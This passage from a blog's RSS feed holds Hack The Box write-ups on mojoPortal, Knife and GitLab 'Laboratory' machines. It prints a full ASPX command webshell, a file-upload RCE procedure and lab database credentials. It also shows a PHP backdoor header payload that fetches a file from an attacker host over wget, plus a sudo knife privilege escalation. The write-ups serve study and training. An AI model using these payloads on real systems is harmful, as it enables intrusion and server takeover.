<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">add</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> key</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"SqliteConnectionString"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"defaultdblocation"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> /&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Credentials were identified :</p>
<ul>
<li>PostreSQL : <code>mojouser</code>/<code>mojo123</code></li>
<li>MySQL : <code>mojouser</code>/<code>mojo123</code></li>
<li>Firebird :<code>SYSDBA</code>/<code>masterkey</code></li>
</ul>
<p>The second vulnerability was used to get a RCE on the server.
Instructions from this website <a href="https://weed-1.gitbook.io/cve/mojoportal/upload-malicious-file-in-mojoportal-v2.7-cve-2022-40341" target="_blank" rel="noopener noreferrer">https://weed-1.gitbook.io/cve/mojoportal/upload-malicious-file-in-mojoportal-v2.7-cve-2022-40341</a> were used :</p>
<ul>
<li>Step 1: An authenticated attacker could access URL: https://{IP]/Admin/FileManagerAlt.aspx to use the File Manager feature.</li>
<li>Step 2: Upload a png file containing malicious aspx code</li>
<li>Step 3: Rename the uploaded file extension from png to aspx</li>
<li>Step 4: Access URL https://{IP]/Data/Sites/1/media/[filename] to get the webshell</li>
</ul>
<p>The following ASPX code was taken from the seclist repository and uploaded :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&lt;%@ Page Language="C#" Debug="true" Trace="false" %&gt;</span></span>
<span class="line"><span>&lt;%@ Import Namespace="System.Diagnostics" %&gt;</span></span>
<span class="line"><span>&lt;%@ Import Namespace="System.IO" %&gt;</span></span>
<span class="line"><span>&lt;script Language="c#" runat="server"&gt;</span></span>
<span class="line"><span>void Page_Load(object sender, EventArgs e)</span></span>
<span class="line"><span>{</span></span>
<span class="line"><span>}</span></span>
<span class="line"><span>string ExcuteCmd(string arg)</span></span>
<span class="line"><span>{</span></span>
<span class="line"><span>ProcessStartInfo psi = new ProcessStartInfo();</span></span>
<span class="line"><span>psi.FileName = "cmd.exe";</span></span>
<span class="line"><span>psi.Arguments = "/c "+arg;</span></span>
<span class="line"><span>psi.RedirectStandardOutput = true;</span></span>
<span class="line"><span>psi.UseShellExecute = false;</span></span>
<span class="line"><span>Process p = Process.Start(psi);</span></span>
<span class="line"><span>StreamReader stmrdr = p.StandardOutput;</span></span>
<span class="line"><span>string s = stmrdr.ReadToEnd();</span></span>
<span class="line"><span>stmrdr.Close();</span></span>
<span class="line"><span>return s;</span></span>
<span class="line"><span>}</span></span>
<span class="line"><span>void cmdExe_Click(object sender, System.EventArgs e)</span></span>
<span class="line"><span>{</span></span>
<span class="line"><span>Response.Write("&lt;pre&gt;");</span></span>
<span class="line"><span>Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));</span></span>
<span class="line"><span>Response.Write("&lt;/pre&gt;");</span></span>
<span class="line"><span>}</span></span>
<span class="line"><span>&lt;/script&gt;</span></span>
<span class="line"><span>&lt;HTML&gt;</span></span>
<span class="line"><span>&lt;HEAD&gt;</span></span>
<span class="line"><span>&lt;title&gt;awen asp.net webshell&lt;/title&gt;</span></span>
<span class="line"><span>&lt;/HEAD&gt;</span></span>
<span class="line"><span>&lt;body &gt;</span></span>
<span class="line"><span>&lt;form id="cmd" method="post" runat="server"&gt;</span></span>
<span class="line"><span>&lt;asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250p</span></span>
<span class="line"><span>x"&gt;&lt;/asp:TextBox&gt;</span></span>
<span class="line"><span>&lt;asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excut</span></span>
<span class="line"><span>e" OnClick="cmdExe_Click"&gt;&lt;/asp:Button&gt;</span></span>
<span class="line"><span>&lt;asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server"&gt;Command:&lt;/asp:Label&gt;</span></span>
<span class="line"><span>&lt;/form&gt;</span></span>
<span class="line"><span>&lt;/body&gt;</span></span>
<span class="line"><span>&lt;/HTML&gt;</span></span>
<span class="line"><span></span></span>
<span class="line"><span>&lt;!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) --&gt;</span></span>
<span class="line"><span>&lt;!--    http://michaeldaw.org   04/2007    --&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>RCE could then be confirmed by sending a command and getting a response :</p>
<figure><figcaption>RCE confirmation</figcaption></figure>
<p>The file under <code>C:\inetpub\wwwroot\user.config</code> contained credential which could be lated used :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>&lt;add key="MSSQLConnectionString" value="server=localhost;database=CMS;UID=cmsuser;PWD=flskeplw#3ddsaOpP;" /&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>Finaly a reverse shell was get with this script :</p>
<div class="language-c# line-numbers-mode" data-highlighter="shiki" data-ext="c#" data-title="c#" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">Page</span><span style="--shiki-light:#6F42C1;--shiki-dark:#E06C75"> Language</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"C#"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">Import</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> Namespace</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"System.Runtime.InteropServices"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">Import</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> Namespace</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"System.Net"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">Import</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> Namespace</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"System.Net.Sockets"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">Import</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> Namespace</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"System.Security.Principal"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;%</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">@ </span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">Import</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> Namespace</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"System.Data.SqlClient"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> %&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">script</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> runat</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"server"</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&gt;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">//</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Knife</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Knife.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Knife.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Knife</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan UDP Scan User...</description>
      <category>Write-Up</category>
      <pubDate>Mon, 21 Jun 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -p- -Pn --open -iL ../input_ip.txt -oA nmap_open_tcp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">22/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssh</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">80/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  http</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>UDP Scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> nmap -sU -Pn --open -iL ../input_ip.txt -oA nmap_open_udp_ports</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">      STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         SERVICE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> VERSION</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">68/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dhcpc</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">39723/udp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">filtered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unknown</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>Web Application</h3>
<p>The Web application is only a web page. The response HTTP headers contains information about the version of the softwares used.</p>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">curl </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">sSiI </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">X GET http:</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">//</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">10.129</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">172.140</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">HTTP</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1.1</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 200</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> OK</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Date: Mon</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 21</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Jun </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2021</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 15</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">14</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">00</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> GMT</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Server: Apache</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2.4</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">41</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (Ubuntu)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">X</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Powered</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">By: PHP</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">8.1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">dev</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Vary: Accept</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Encoding</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Transfer</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Encoding: chunked</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Content</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Type: text</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">/</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">html; charset</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">UTF</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">8</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The version of PHP used is the version <code>PHP/8.1.0-dev</code>. It looks like this version is impacted by a remote code execution vulnerability via the <code>User-Agentt</code> HTTP header. This version of PHP was relaeser on Match 28th 2021 with a backdoor. A plublic exploit is available : <a href="https://www.exploit-db.com/exploits/49933" target="_blank" rel="noopener noreferrer">https://www.exploit-db.com/exploits/49933</a>.</p>
<p>The scripts worked well and an access was gained on the machine.</p>
<figure><figcaption>user-access</figcaption></figure>
<h3>Flag</h3>
<p>The flag was retrieved on the machine.</p>
<figure><figcaption>user-flag</figcaption></figure>
<h2>Root</h2>
<p>The user <code>james</code> looks like to have right to run the binary located at <code>/usr/bin/knife</code> with <code>sudo</code> as root without the need of a password.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>udo -l</span></span>
<span class="line"><span>Matching Defaults entries for james on knife:</span></span>
<span class="line"><span>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</span></span>
<span class="line"><span></span></span>
<span class="line"><span>User james may run the following commands on knife:</span></span>
<span class="line"><span>    (root) NOPASSWD: /usr/bin/knife</span></span>
<span class="line"><span></span></span>
<span class="line"><span>$ sudo /usr/bin/knife -v</span></span>
<span class="line"><span>Chef Infra Client: 16.10.8</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>In order to get a better access, my public key was added to the <code>authorized_keys</code> file of the user <code>james</code>. I then used SSH to connect to the machine.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>GET /index.php HTTP/1.1</span></span>
<span class="line"><span>Host: EMI</span></span>
<span class="line"><span>Cache-Control: max-age=0</span></span>
<span class="line"><span>Upgrade-Insecure-Requests: 1</span></span>
<span class="line"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36</span></span>
<span class="line"><span>User-Agentt: zerodiumsystem('wget http://10.10.14.39:8000/authorized_keys -O /home/james/.ssh/authorized_keys');</span></span>
<span class="line"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span>
<span class="line"><span>Accept-Encoding: gzip, deflate</span></span>
<span class="line"><span>Accept-Language: en-GB,en-US;q=0.9,en;q=0.8</span></span>
<span class="line"><span>Connection: close</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>It is possible to leverage the <code>exec</code> subcommand of <code>knife</code> in order to execute ruby scripts.</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>james@knife:~$ sudo /usr/bin/knife exec -E 'system("whoami")'</span></span>
<span class="line"><span>root</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><h3>Flag</h3>
<p>The root flag was retrieved on the machine.</p>
<figure><figcaption>root-flag</figcaption></figure>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Laboratory</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Laboratory.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Laboratory.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Laboratory</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open: Recon A site web is pre...</description>
      <category>Write-Up</category>
      <pubDate>Sat, 17 Apr 2021 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP ports scan was done on the box. The TCP scan revealed that the following ports are open:</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span># Nmap 7.91 scan initiated Sun Nov 22 11:32:06 2020 as: nmap -A -p- --open -iL ../ip.txt -oA nmap_all_tcp</span></span>
<span class="line"><span>Nmap scan report for 10.10.10.216</span></span>
<span class="line"><span>Host is up (0.019s latency).</span></span>
<span class="line"><span>Not shown: 65532 filtered ports</span></span>
<span class="line"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit</span></span>
<span class="line"><span>PORT    STATE SERVICE  VERSION</span></span>
<span class="line"><span>22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)</span></span>
<span class="line"><span>| ssh-hostkey:</span></span>
<span class="line"><span>|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d (RSA)</span></span>
<span class="line"><span>|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f (ECDSA)</span></span>
<span class="line"><span>|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 (ED25519)</span></span>
<span class="line"><span>80/tcp  open  http     Apache httpd 2.4.41</span></span>
<span class="line"><span>|_http-server-header: Apache/2.4.41 (Ubuntu)</span></span>
<span class="line"><span>|_http-title: Did not follow redirect to https://laboratory.htb/</span></span>
<span class="line"><span>443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))</span></span>
<span class="line"><span>|_http-server-header: Apache/2.4.41 (Ubuntu)</span></span>
<span class="line"><span>|_http-title: The Laboratory</span></span>
<span class="line"><span>| ssl-cert: Subject: commonName=laboratory.htb</span></span>
<span class="line"><span>| Subject Alternative Name: DNS:git.laboratory.htb</span></span>
<span class="line"><span>| Not valid before: 2020-07-05T10:39:28</span></span>
<span class="line"><span>|_Not valid after:  2024-03-03T10:39:28</span></span>
<span class="line"><span>| tls-alpn:</span></span>
<span class="line"><span>|_  http/1.1</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Recon</h2>
<p>A site web is presented to the visitor. Look like a basic front-end website.
</p>
<p>The certificate on the web server was studied with <code>sslcan</code> and alternate name were found.
</p>
<p>A quick enumeration to find other virtual hosts was done with <code>gobuster</code>. It confirmed that the virtual host <code>git.laboratory.htb</code> was present on the machine.
No other virtual host was found apart the one in the certificate.
</p>
<h2>Gitlab</h2>
<p>On the <code>git.laboratory.htb</code>, the site is running a Gitlab instance. It also looks like that it is possible to register to the Gitlab instance. Allowing everyone to register could be a problem because authenticated users can browse public repositories and try to gather information on the Gitlab users. An authenticated user can retrieve the Gitlab version and try to look for public vulnerabilities.
</p>
<p>Trying to register with a fake email was not possible.
</p>
<p>Might be worth trying to register with the <code>laboratory.htb</code> domain. If there is no email validation, it would be a solution to get a user account on the Gitlab.
</p>
<p>The assumptions were good, and we were connected to account right after clicking on the register button.
</p>
<h3>Gitlab version</h3>
<p>The Gitlab version can be retrieved :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>curl -k -b "_Gitlab_session=7c6b7e[...]558e" https://git.laboratory.htb/api/v4/version</span></span>
<span class="line"><span></span></span>
<span class="line"><span>{"version":"12.8.1","revision":"d18b43a5f5a"}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h3>Gitlab users</h3>
<p>Once logged, it is possible to look for public repositories. One repository <a href="https://git.laboratory.htb/dexter/securewebsite" target="_blank" rel="noopener noreferrer">https://git.laboratory.htb/dexter/securewebsite</a> is owned by the user <code>dexter</code>.</p>
<figure><figcaption></figcaption></figure>
<p>No sensible information was found on this repository. However, an issue was posted by the user <code>seven</code>.</p>
<figure><figcaption></figcaption></figure>
<p>Another way to retrieve users would be to request the URL <code>/autocomplete/users</code> when authenticated.</p>
